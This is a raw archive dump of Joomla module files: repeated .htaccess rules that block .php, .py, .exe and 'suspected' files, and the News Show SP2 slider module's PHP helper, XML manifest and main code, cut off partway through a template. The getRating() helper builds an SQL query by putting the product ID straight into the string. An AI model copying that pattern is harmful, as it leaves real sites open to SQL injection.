</FilesMatch>PK!�)��mod_whosonline/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��'mod_gantry5_particle/language/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_gantry5_particle/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_login/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_login/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_stats/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_stats/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��&mod_articles_categories/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��!mod_articles_categories/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!������mod_news_show_sp2/vmhelper.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT.'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig ();

// Load the language file of com_virtuemart.
VmConfig::loadJLang('com_virtuemart',true);
if (!class_exists ('calculationHelper')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/calculationh.php');
}
if (!class_exists ('CurrencyDisplay')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/currencydisplay.php');
}
if (!class_exists ('VirtueMartModelVendor')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/models/vendor.php');
}
if (!class_exists ('VmImage')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/image.php');
}
if (!class_exists ('shopFunctionsF')) {
	require(JPATH_SITE . '/components/com_virtuemart/helpers/shopfunctionsf.php');
}
if (!class_exists ('calculationHelper')) {
	require(JPATH_COMPONENT_SITE . '/helpers/cart.php');
}
if (!class_exists ('VirtueMartModelProduct')) {
	JLoader::import ('product', JPATH_ADMINISTRATOR . '/components/com_virtuemart/' . DS . 'models');
}

if (!class_exists( 'VmModel' )) require(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/vmmodel.php');

	
abstract class modNSSP2VMHelper {

	public static function getList($params,$count){

			$productModel = VmModel::getModel('Product');
			$products = $productModel->getProductListing($params->get('vmordering','latest'), $count, true, true, false, true, $params->get('vmcat',NULL));
			$productModel->addImages($products);
			$currency = CurrencyDisplay::getInstance( );
			
			
			if (count($products)) {
				foreach ($products as $item) {
					$author 			= JFactory::getUser($item->created_by);
					$item->created 		= $item->created_on;
					$item->author 		= $author->name;
					$item->hits 		= @$item->hits;
					$item->category 	= $item->category_name;
					$item->cat_link 	= JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='. $item->virtuemart_category_id);
					$item->image 		= $item->images[0]->file_url;
					$item->title 		= $item->product_name;
					$item->introtext 	= $item->product_s_desc;
					$item->price 		= round($item->prices['salesPrice'],2) . $currency->getSymbol();
					$item->addtocart 	= self::addtocart($item);
					$item->rating 		= self::getRating($item->virtuemart_product_id);
					$item->link 		= JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$item->virtuemart_product_id.'&virtuemart_category_id='.$item->virtuemart_category_id);
					$rows[] = $item;
				}
				return $rows;
			}				
			
	}	
	
	private static function addtocart($product) {
		$output = '';
		ob_start();
        if (!VmConfig::get ('use_as_catalog', 0)) {	?>
                <div class="ns2-addtocart">

				<form method="post" class="product" action="index.php">
					<input type="hidden" class="quantity-input" name="quantity[]" value="1" />
					<?php
					$button_lbl = JText::_('COM_VIRTUEMART_CART_ADD_TO');
					$button_cls = ''; 
					// Display the add to cart button
					$stockhandle = VmConfig::get('stockhandle','none');
					if(($stockhandle=='disableit' or $stockhandle=='disableadd') and ($product->product_in_stock - $product->product_ordered)<1){
						$button_lbl = JText::_('COM_VIRTUEMART_CART_NOTIFY');
						$button_cls = 'notify-button';
						$button_name = 'notifycustomer';
					}
					?>
					<?php // Display the add to cart button ?>
					<input type="submit" name="addtocart"  class="addtocart-button" value="<?php echo $button_lbl ?>" title="<?php echo $button_lbl ?>" />
                    <div class="clear"></div>
                    <input type="hidden" class="pname" value="<?php echo $product->product_name ?>"/>
                    <input type="hidden" name="option" value="com_virtuemart" />
                    <input type="hidden" name="view" value="cart" />
                    <noscript><input type="hidden" name="task" value="add" /></noscript>
                    <input type="hidden" name="virtuemart_product_id[]" value="<?php echo $product->virtuemart_product_id ?>" />
                    <input type="hidden" name="virtuemart_category_id[]" value="<?php echo $product->virtuemart_category_id ?>" />
                </form>
				<div class="clear"></div>
            </div>
        <?php }
		$output = ob_get_clean();
		return $output;			
    }	
	 
	 /*Virtuemart Product Rating*/
	private static function getRating ($product_id) {
		$db = JFactory::getDBO();
		$query = "SELECT * FROM #__virtuemart_ratings WHERE virtuemart_product_id={$product_id}";
		$db->setQuery($query);
		$item = $db->loadObject();
		if (count($item)==1) {
			$rating = number_format(intval($item->rates) / intval($item->ratingcount), 2) * 20;	
		} else {
			$rating = 0;
		}
		return $rating;
	}
}PK!Z�tj�D�D'mod_news_show_sp2/mod_news_show_sp2.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.3.0" client="site" method="upgrade">
	<name>News Show SP2</name>
	<author>JoomShaper.com</author>
	<creationDate>Feb 2012</creationDate>
	<copyright>Copyright (C) 2010 - 2015 JoomShaper.com. All rights reserved.</copyright>
	<license>GNU/GPL V2 or Later</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>2.9</version>
	<description>JoomShaper News Display/Slider Module for 3</description>
	<files>
		<filename module="mod_news_show_sp2">mod_news_show_sp2.php</filename>
			<folder>assets</folder>
			<folder>elements</folder>
			<folder>language</folder>
			<folder>tmpl</folder>
			<filename>common.php</filename>
			<filename>image.php</filename>
			<filename>helper.php</filename>
			<filename>k2helper.php</filename>
			<filename>vmhelper.php</filename>
			<filename>social.php</filename>
			<filename>index.html</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.mod_news_show_sp2.ini</language>
	</languages>	
	<config>
		 <fields name="params" addfieldpath="/modules/mod_news_show_sp2/elements">
			<fieldset name="DATASOURCE">
				<field type="assets" name="asset" />
				<field name="uniqid" type="text" default="" label="UNIQID" description="UNIQID_DESC"/>
				<field name="content_source" type="list" default="joomla" label="CONTENT_SOURCE" description="CONTENT_SOURCE_DESC">
				  <option value="joomla">JOOMLA</option>
				  <option value="k2">MODK2</option>
				  <option value="vm">MODVM</option>
				</field>			
				<field name="catids" type="category" extension="com_content" multiple="true" size="10" default="" label="CATEGORY" description="CATEGORY_DESC" />						
				<field name="k2catids" type="k2category" default="all" label="K2CATEGORY" description="K2CATEGORY_DESC"/>
				<field name="vmcat" type="vmcategories" default="all" label="VMCATEGORY" description="VMCATEGORY_DESC"/>
				<field name="vmordering" class="vm" type="list" default="latest" label="ORDER" description="ORDER_DESC">
					<option value="featured">FEATURED_PRODUCTS</option>
					<option value="latest">LATEST_PRODUCTS</option>
					<option value="topten">BEST_SALES</option>
				</field>
				<field name="ordering" type="list" default="a.created" label="ORDER" description="ORDER_DESC">
					<option value="a.ordering">JOOMLA_ORDERING</option>
					<option value="a.publish_up">PUBLISHED_UP</option>
					<option value="a.hits">HITS</option>
					<option value="a.title">TITLE</option>
					<option value="a.id">ID</option>
					<option value="a.alias">ALIAS</option>
					<option value="a.created">CREATED</option>
					<option value="a.modified">MODIFIED</option>
				</field>
				<field name="ordering_direction" type="list" default="ASC" label="ORDERING_FILTER" description="ORDERING_FILTER_DESC">
					<option value="DESC">FILTER_DESC</option>
					<option value="ASC">FILTER_ASC</option>
				</field>
				<field name="user_id" type="list" default="0" label="AUTHORS" description="AUTHORS_DESC">
					<option value="0">ANYONE</option>
					<option value="by_me">BYME</option>
					<option value="not_me">NOTBYME</option>
				</field>
				<field name="show_featured" type="list" default="" label="FEATURED" description="FEATURED_DESC">
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">ONLY_SHOW_FEATURED</option>
				</field>
			</fieldset>
			
			<fieldset name="ARTICLE_LAYOUT">			
				<field name="article_column" type="text" default="1" label="ARTICLE_COLUMN" description="ARTICLE_COLUMN_DESC" />
				<field name="article_row" type="text" default="1" label="ARTICLE_ROW" description="ARTICLE_ROW_DESC" />
				<field name="article_col_padding" type="text" default="3px 3px 3px 3px" label="COLUMN_PADDING" description="COLUMN_PADDING_DESC" />
				<field name="article_showtitle" type="radio" default="1" label="SHOW_TITLE" description="SHOW_TITLE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_linkedtitle" type="radio" default="1" label="LINKED_TITLE" description="LINKED_TITLE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_title_text_limit" type="radio" default="1" label="TITLE_TEXT_LIMIT" description="TITLE_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>
				<field name="article_count_title_text" type="text" default="0" size="2" />
				<field name="article_introtext" type="radio" default="1" label="SHOW_INTRO" description="SHOW_INTRO_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_intro_text_limit" type="radio" default="0" label="INTRO_TEXT_LIMIT" description="INTRO_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>
				<field name="article_count_intro_text" type="text" default="30" size="2" />	
				<field name="article_date_format" type="list" default="DATE_FORMAT_LC3" label="DATE_FORMAT" description="DATE_FORMAT_DESC">
					<option value="0">JHIDE</option>
					<option value="DATE_FORMAT_LC">DATE_FORMAT_LC</option>
					<option value="DATE_FORMAT_LC1">DATE_FORMAT_LC1</option>
					<option value="DATE_FORMAT_LC2">DATE_FORMAT_LC2</option>
					<option value="DATE_FORMAT_LC3">DATE_FORMAT_LC3</option>
					<option value="DATE_FORMAT_LC4">DATE_FORMAT_LC4</option>
					<option value="blog">Blog</option>
				</field>
				<field name="article_show_author" type="radio" default="0" label="SHOW_AUTHOR" description="SHOW_AUTHOR_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_show_category" type="radio" default="0" label="SHOW_CAT" description="SHOW_CAT_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_linked_category" type="radio" default="1" label="LINKED_CAT" description="LINKED_CAT_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_show_ratings" type="radio" default="0" label="SHOW_RATINGS" description="SHOW_RATINGS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<field name="article_show_image" type="radio" default="1" label="SHOW_IMAGE" description="SHOW_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_linked_image" type="radio" default="1" label="LINKED_IMAGE" description="LINKED_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<field name="article_image_pos" type="list" default="bottom" label="IMGPOS" description="IMGPOS_DESC">
					<option value="top">BEFORE_TITLE</option>
					<option value="bottom">AFTER_TITLE</option>
				</field>
				<field name="article_image_float" type="list" default="float:left">
					<option value="float:left">float:left</option>
					<option value="float:right">float:right</option>
					<option value="float:none">float:none</option>
				</field>
				<field name="article_image_margin" type="text" default="0 0 0 0" label="IMG_MARGIN" description="IMG_MARGIN_DESC" />				
				<field name="article_thumb_width" type="text" default="50" label="THUMBWIDTH" description="THUMBWIDTH_DESC" />	
				<field name="article_thumb_height" type="text" default="50" label="THUMBHEIGHT" description="THUMBHEIGHT_DESC" />	
				<!--K2 Specific-->
				<field name="article_extra_fields" type="radio" default="0" label="SHOW_EXTRA_FIELDS" description="SHOW_EXTRA_FIELDS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<!--End K2 Specific-->
				<field name="article_show_more" type="radio" default="1" label="SHOW_READMORE" description="SHOW_READMORE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_more_text" type="text" size="5" default="Read More..." />
				<field name="article_comments" type="radio" default="1" label="SHOW_COMMENTS" description="SHOW_COMMENTS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_hits" type="radio" default="1" label="SHOW_HITS" description="SHOW_HITS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				
				<!--Social Share-->
				<field name="btn_like" type="radio" default="0" label="LIKE_BUTTON" description="" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				
				<field name="btn_twitter" type="radio" default="0" label="TWITTER" description="" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				
				<field name="btn_gplus" type="radio" default="0" label="GPLUS" description="" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<!--End Social Share-->
				
				<!--Virtuemart-->
				<field name="art_show_price" type="radio" default="0" class="btn-group vm" label="SHOW_PRICE" description="SHOW_PRICE_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="art_show_cart_button" type="radio" default="0" class="btn-group vm" label="SHOW_CART_BUTTON" description="SHOW_CART_BUTTON_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<!--End Virtuemart-->
				
				<!--Animation-->
				<field name="article_animation" type="list" default="nssp2-slide" label="ANIMATION" description="ANIMATION_DESC">
					<option value="disabled">DISABLED</option>
					<option value="nssp2-slide">SLIDE</option>
					<option value="nssp2-slide nssp2-fade">FADE</option>
					<option value="nssp2-noeffect">NOEFFECT</option>
				</field>				
				<field name="article_slide_count" type="text" default="2" label="ARTICLE_SLIDE_COUNT" description="ARTICLE_SLIDE_COUNT_DESC" class="btn-group ani1" />	
				<field name="article_controllers_style" type="list" default="nssp2-default" label="Controllers Style" description="Controllers Style" class="btn-group ani1">
					<option value="nssp2-default">Default</option>
					<option value=" ">Custom</option>
				</field>				
				<field name="article_pagination" type="radio" default="1" label="PAGINATION" description="PAGINATION_DESC" class="btn-group ani1">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_arrows" type="radio" default="0" label="SHOW_ARROWS" description="SHOW_ARROWS_DESC" class="btn-group ani1">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_autoplay" type="radio" default="1" label="AUTOPLAY" description="AUTOPLAY_DESC" class="btn-group ani1">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_animation_interval" type="text" default="5000" label="INTERVAL" description="INTERVAL_DESC" class="btn-group ani1" />
			</fieldset>		
			
			<fieldset name="LINKS_LAYOUT">
				<field name="links_block" type="radio" default="0" label="LINKS_BLOCK" description="LINKS_BLOCK_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_count" type="text" default="3" label="LINKS_COUNT" description="LINKS_COUNT_DESC" />		
				<field name="links_col_padding" type="text" default="3px 3px 3px 3px" label="COLUMN_PADDING" description="COLUMN_PADDING_DESC" />				
				<field name="links_position" type="list" default="bottom" label="LINKS_POSITION" description="LINKS_POSITION_DESC">
					<option value="bottom">BOTTOM</option>
					<option value="right">RIGHT</option>
				</field>
				<field name="links_more" type="radio" default="1" label="LINKS_MORE" description="LINKS_MORE_DESC" class="btn-group">
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>	
				<field name="links_more_text" type="text" default="MORE" size="10" />				
				<field name="links_title_text_limit" type="radio" default="1" label="TITLE_TEXT_LIMIT" description="TITLE_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>				
				<field name="links_title_count" type="text" default="0" size="2" />
				<field name="links_show_intro" type="radio" default="0" label="SHOW_INTRO" description="SHOW_INTRO_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_intro_text_limit" type="radio" default="0" label="INTRO_TEXT_LIMIT" description="INTRO_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>
				<field name="links_intro_count" type="text" default="20" size="2" />					
				<field name="links_show_image" type="radio" default="0" label="SHOW_IMAGE" description="SHOW_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_linked_image" type="radio" default="1" label="LINKED_IMAGE" description="LINKED_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<field name="links_image_pos" type="list" default="bottom" label="IMGPOS" description="IMGPOS_DESC">
					<option value="top">BEFORE_TITLE</option>
					<option value="bottom">AFTER_TITLE</option>
				</field>
				<field name="links_image_float" type="list" default="float:left">
					<option value="float:left">float:left</option>
					<option value="float:right">float:right</option>
					<option value="float:none">float:none</option>
				</field>				
				<field name="links_image_margin" type="text" default="0 0 0 0" label="IMG_MARGIN" description="IMG_MARGIN_DESC" />			
				<field name="links_thumb_width" type="text" default="50" label="THUMBWIDTH" description="THUMBWIDTH_DESC" />	
				<field name="links_thumb_height" type="text" default="50" label="THUMBHEIGHT" description="THUMBHEIGHT_DESC" />
				<!--Virtuemart-->
				<field name="links_show_price" type="radio" default="0" class="btn-group vm" label="SHOW_PRICE" description="SHOW_PRICE_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_show_cart_button" type="radio" default="0" class="btn-group vm" label="SHOW_CART_BUTTON" description="SHOW_CART_BUTTON_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<!--End Virtuemart-->
				
				<!--Animation-->
				<field name="links_animation" type="list" default="nssp2-slide" label="ANIMATION" description="ANIMATION_DESC">
					<option value="disabled">DISABLED</option>
					<option value="nssp2-slide">SLIDE</option>
					<option value="nssp2-slide nssp2-fade">FADE</option>
					<option value="nssp2-noeffect">NOEFFECT</option>
				</field>
				<field name="links_slide_count" type="text" default="2" label="ARTICLE_SLIDE_COUNT" description="ARTICLE_SLIDE_COUNT_DESC" class="btn-group ani2" />	
				<field name="links_controllers_style" type="list" default="nssp2-default" label="Controllers Style" description="Controllers Style" class="btn-group ani2">
					<option value="nssp2-default">Default</option>
					<option value=" ">Custom</option>
				</field>
				<field name="links_pagination" type="radio" default="1" label="PAGINATION" description="PAGINATION_DESC" class="btn-group ani2">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_arrows" type="radio" default="0" label="SHOW_ARROWS" description="SHOW_ARROWS_DESC" class="btn-group ani2">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_autoplay" type="radio" default="1" label="AUTOPLAY" description="AUTOPLAY_DESC" class="btn-group ani2">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_animation_interval" type="text" default="5000" label="INTERVAL" description="INTERVAL_DESC" class="btn-group ani2" />		
			</fieldset>	
				
			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="text" default="" label="MODSFX" description="MODSFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field name="cachemode" type="hidden" default="itemid">
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>PK!&��@@'mod_news_show_sp2/mod_news_show_sp2.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');
$doc 								= JFactory::getDocument();

//Basic
$moduleclass_sfx 					= $params->get('moduleclass_sfx');
$layout 							= $params->get('layout', 'default');
$moduleName         				= basename(dirname(__FILE__));
$uniqid								= ($params->get('uniqid')=="") ? $module->id : $params->get('uniqid');
$content_source						= $params->get('content_source');

//Article Layout
$article_column						= $params->get('article_column');
$article_row						= $params->get('article_row');
$article_col_padding				= $params->get('article_col_padding');
$article_showtitle					= $params->get('article_showtitle');
$article_linkedtitle				= $params->get('article_linkedtitle');
$article_title_text_limit			= $params->get('article_title_text_limit');
$article_count_title_text			= $params->get('article_count_title_text');
$article_introtext					= $params->get('article_introtext');
$article_intro_text_limit			= $params->get('article_intro_text_limit');
$article_count_intro_text			= $params->get('article_count_intro_text');
$article_date_format				= $params->get('article_date_format');
$article_show_author				= $params->get('article_show_author');
$article_show_category				= $params->get('article_show_category');
$article_linked_category			= $params->get('article_linked_category');
$article_show_image					= $params->get('article_show_image');
$article_linked_image				= $params->get('article_linked_image');
$article_image_pos					= $params->get('article_image_pos');
$article_image_float				= $params->get('article_image_float');			
$article_image_margin				= $params->get('article_image_margin');
$article_thumb_width				= $params->get('article_thumb_width');
$article_thumb_height				= $params->get('article_thumb_height');
$article_thumb_ratio				= $params->get('article_thumb_ratio');
$article_extra_fields				= $params->get('article_extra_fields');
$article_show_more					= $params->get('article_show_more');
$article_more_text					= $params->get('article_more_text');
$article_comments					= $params->get('article_comments');
$article_hits						= $params->get('article_hits');
$article_show_ratings				= $params->get('article_show_ratings');
$article_animation					= $params->get('article_animation');

if( ( $article_animation == 'cover-horizontal-push' ) || ( $article_animation == 'cover-vertical-push' ) )
{
	$article_animation 				= 'nssp2-slide';

}
else if ( $article_animation == 'cover-inplace-fade' )
{
	$article_animation 				= 'nssp2-slide nssp2-fade';
} 
else if ( $article_animation == 'cover-inplace' )
{
	$article_animation 				= 'nssp2-noeffect';
}


$article_slide_count				= $params->get('article_slide_count');
$article_controllers_style			= $params->get('article_controllers_style', 'nssp2-default');
$article_pagination					= $params->get('article_pagination');
$article_arrows						= $params->get('article_arrows');
$article_autoplay					= $params->get('article_autoplay');
$article_animation_interval			= ( $article_autoplay ) ? $params->get('article_animation_interval') : 'false';

//Links Layout
$links_block						= $params->get('links_block');
$links_count						= $params->get('links_count');
$links_col_padding					= $params->get('links_col_padding');
$links_position						= $params->get('links_position');
$links_more							= $params->get('links_more');
$links_more_text					= $params->get('links_more_text');
$links_title_text_limit				= $params->get('links_title_text_limit');
$links_title_count					= $params->get('links_title_count');
$links_show_intro					= $params->get('links_show_intro');
$links_intro_text_limit				= $params->get('links_intro_text_limit');
$links_intro_count					= $params->get('links_intro_count');
$links_show_image					= $params->get('links_show_image');
$links_linked_image					= $params->get('links_linked_image');
$links_image_pos					= $params->get('links_image_pos');
$links_image_float					= $params->get('links_image_float');
$links_image_margin					= $params->get('links_image_margin');
$links_thumb_width					= $params->get('links_thumb_width');
$links_thumb_height					= $params->get('links_thumb_height');
$links_thumb_ratio					= $params->get('links_thumb_ratio');
$links_animation					= $params->get('links_animation');

if( ( $links_animation == 'cover-horizontal-push' ) || ( $links_animation == 'cover-vertical-push' ) )
{
	$links_animation 				= 'nssp2-slide';

}
else if ( $links_animation == 'cover-inplace-fade' )
{
	$links_animation 				= 'nssp2-slide nssp2-fade';
} 
else if ( $links_animation == 'cover-inplace' )
{
	$links_animation 				= 'nssp2-noeffect';
}

$links_slide_count					= $params->get('links_slide_count');
$links_controllers_style			= $params->get('links_controllers_style', 'nssp2-default');
$links_pagination					= $params->get('links_pagination');
$links_arrows						= $params->get('links_arrows');
$links_autoplay						= $params->get('links_autoplay');
$links_animation_interval			= ( $links_autoplay ) ? $params->get('links_animation_interval') : 'false';

//Virtuemart
$art_show_price 					= $params->get('art_show_price');
$links_show_price 					= $params->get('links_show_price');
$art_show_cart_button 				= $params->get('art_show_cart_button');
$links_show_cart_button 			= $params->get('links_show_cart_button');

JHtml::_('jquery.framework'); //jQuery
	
//Calculated count	
if ($article_animation!="disabled") {
	$c_article_count				= $article_column*$article_row*$article_slide_count;
} else {
	$c_article_count				= $article_column*$article_row;
}

if ($links_block) {
	if ($links_animation!="disabled") {
		$c_links_count					= $links_count*$links_slide_count;
	} else {
		$c_links_count					= $links_count;
	}
} else {
	$c_links_count						= 0;
}

$c_count 							= $c_article_count + $c_links_count;

require_once (dirname(__FILE__).'/common.php');//include common.php file

if ($content_source=="joomla") {
	require_once (dirname(__FILE__).'/helper.php');
	$list 		= modNSSP2JHelper::getList($params, $c_count);
} elseif ($content_source=="vm") {
	if (!class_exists( 'VmModel' )) require(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/vmmodel.php');
	require_once (dirname(__FILE__).'/vmhelper.php');
	$list 		= modNSSP2VMHelper::getList($params, $c_count);	
} else {
	require_once (dirname(__FILE__).'/k2helper.php');
	$list 							= modNSSP2K2Helper::getList($params, $c_count);
}

//Social
require_once (dirname(__FILE__).'/social.php');

$a_count 							= count($list);//actual count

if ($c_count>$a_count) {
	$c_count						= $a_count;
	if ($c_article_count>=$c_count) {
		$c_article_count			= $c_count;
		$c_links_count				= 0;
	} else {
		if ($c_links_count>$c_count-$c_article_count) {
			$c_links_count			= $c_count-$c_article_count;
		}	
	}
}

if (($content_source=="vm") && ($art_show_cart_button || $links_show_cart_button)) {
	vmJsApi::jQuery();
	vmJsApi::jPrice();
	vmJsApi::cssSite();
}

$cssFile 							= JPATH_THEMES. '/'.$doc->template.'/css/'.$moduleName.'.css';

if(file_exists($cssFile)) {
	$doc->addStylesheet(JURI::base(true) . '/templates/'.$doc->template.'/css/'. $moduleName . '.css');
} else {
	$doc->addStylesheet(JURI::base(true) . '/modules/'.$moduleName.'/assets/css/' . $moduleName . '.css');
}

if ($article_animation!="disabled" || ($links_block && $c_links_count!=0 && $links_animation!="disabled")) {
	$doc->addScript(JURI::base(true) . '/modules/mod_news_show_sp2/assets/js/nssp2.js');
}
require(JModuleHelper::getLayoutPath('mod_news_show_sp2', $layout));PK!�)�� mod_news_show_sp2/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�#*,=@=@"mod_news_show_sp2/tmpl/default.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

$modId = $module->id;

if ( $article_column>=$c_article_count )
{
	$article_column 	= $c_article_count;
	$article_row		= 1;
}

$date_time 				= '';
$row 					= 0;
$link_row 				= 0;
$i 						= 0;
$j 						= 0;

?>

<div id="ns2-<?php echo $modId; ?>" class="nssp2 ns2-<?php echo $uniqid ?>">
	<div class="ns2-wrap">
		<?php if ($c_article_count > 0): ?>
			<div id="ns2-art-wrap<?php echo $modId; ?>" class="ns2-art-wrap <?php echo ($article_animation!="disabled") ? $article_animation . ' ' . $article_controllers_style : '' ?> <?php if ($links_block && $c_links_count!=0 && $links_position=="right"): ?> col-2 flt-left<?php endif; ?>">			
				<div class="ns2-art-pages nss2-inner">
				<?php for($i=0;$i<$c_article_count;$i++): $row++; ?>
					<?php
						if( $article_animation != "disabled" )
						{
							if( $i == 0 ){
								$anim_class = 'item active';
							}
							else
							{
								$anim_class = 'item';
							}
						}
						else
						{
							$anim_class = '';
						}
					?>
					<div class="ns2-page <?php echo $anim_class; ?>">
						<div class="ns2-page-inner">
						<?php for($j=0;$j<$article_row;$j++, $i++): ?>
